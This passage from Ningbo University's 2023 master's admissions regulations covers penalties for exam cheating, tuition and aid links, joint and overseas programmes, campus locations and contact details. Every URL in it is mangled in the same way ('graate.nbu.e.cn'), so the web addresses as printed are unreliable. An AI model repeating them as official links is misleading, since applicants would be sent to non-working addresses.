（五）新生報到入學後，我校將對其進行思想政治素質和道德品質、專業素質、健康狀況等全面復查，發現有不符合標准者按照有關規定進行處理。

十、違規處理

考生應自覺樹立遵章守紀、誠實考試的意識。初試期間，考生應自覺遵守《全國碩士研究生招生考試考場規則》及各考點考場紀律；復試期間，考生應自覺遵守我校考場規則及考生所簽署的《誠信復試承諾書》等內容，在我校復試工作結束前不得對外透露或傳播復試試題內容等有關情況。

對在研究生考試招生中違反考試管理規定和考場紀律，影響考試公平、公正的考生，一律按《中華人民共和國教育法》及《國家教育考試違規處理辦法》（教育部令第33號）嚴肅處理。對在校生，由其所在學校按有關規定給予處分，直至開除學籍；對在職考生，應通知考生所在單位，由考生所在單位視情節給予黨紀或政紀處分；構成違法的,依法追究法律責任，其中構成犯罪的，依法追究刑事責任。

相關單位應將考生在碩士研究生招生考試中的違規或作弊事實記入《國家教育考試考生誠信檔案》，並將考生的有關情況通報其所在學校或單位，記入考生人事檔案，作為其今後升學和就業的重要參考依據。

十一、學費和獎助政策

2023年碩士研究生繳納學費標准和獎助政策詳見：http://graate.nbu.e.cn/zsgz/xxfw/xfyjz.htm。

十二、相關說明和其他注意事項

（一）非全日制碩士研究生僅招收在職定向就業人員。所有報考非全日制碩士的考生均須報考定向就業，否則視為不滿足報名條件，不予參加考試。

（二）碩士專業學制為2.5-3年，各專業的具體學制，屆時可查詢我校研究生招生網上公布的招生專業目錄。

（三）旅遊管理（120203）（中法合作）項目，基本學制為3年（2年中國、1年法國），合格的畢業生可同時獲得中、法雙方頒發的學歷和學位證書。

（四）全日制碩士研究生在學期間須全脫產學習。非全日制碩士研究生的學習方式一般採用集中（業余時間）面授與自學相結合，不脫產學習，在寧波大學相關校區授課，具體安排見相關學院網站的後續通知。

（五）海運學院、海洋學院、食品與葯學學院和新葯研究院位於寧波大學梅山校區。

（六）2023年我校與中國科學院寧波材料技術與工程研究所在機械、計算機技術、材料與化工專業開展聯合培養研究生項目，詳見招生目錄中「科教融合學院」。

（七）2023年我校與寧波大學科技學院在機械工程、計算機技術專業開展聯合培養研究生項目，詳見招生目錄中「科學技術學院」。

（八）2023年我校與興義民族師范學院在中國語言文學、化學和教育碩士等學科專業開展聯合培養碩士研究生。

（九）醫學院現有「寧波大學與法國勃艮第弗朗什孔泰大學（UBFC）合作舉辦臨床醫學與生命科學博士研究生教育項目」，在臨床醫學專業（專業代碼100200）下招生，項目簡介詳見：https://medicine.nbu.e.cn/info/1502/16250.htm。

（十）若發生考生與原單位因報考研究生所產生的問題而造成考生不能報名、考試、錄取、就讀的後果，由考生承擔責任。

（十一）招生章程、專業目錄、碩士生導師介紹、學院聯系方式等信息，詳見我校研究生招生網http://graate.nbu.e.cn/zsgz/zssy.htm。

（十二）考生應隨時留意我校研究生招生網的相關通知，如有變動，以我校研究生招生網公布的相關信息為准。

（十三）本招生章程如與國家相關政策不符或國家調整招生政策的，以國家政策為准。

（十四）有關報考專業的具體問題，可直接與相關招生學院聯系。

聯系地址：浙江省寧波市江北區風華路818號 寧波大學研究生院

學校代碼：11646

郵政編碼：315211

電話：0574-87600226，87609136

網址： http://graate.nbu.e.cn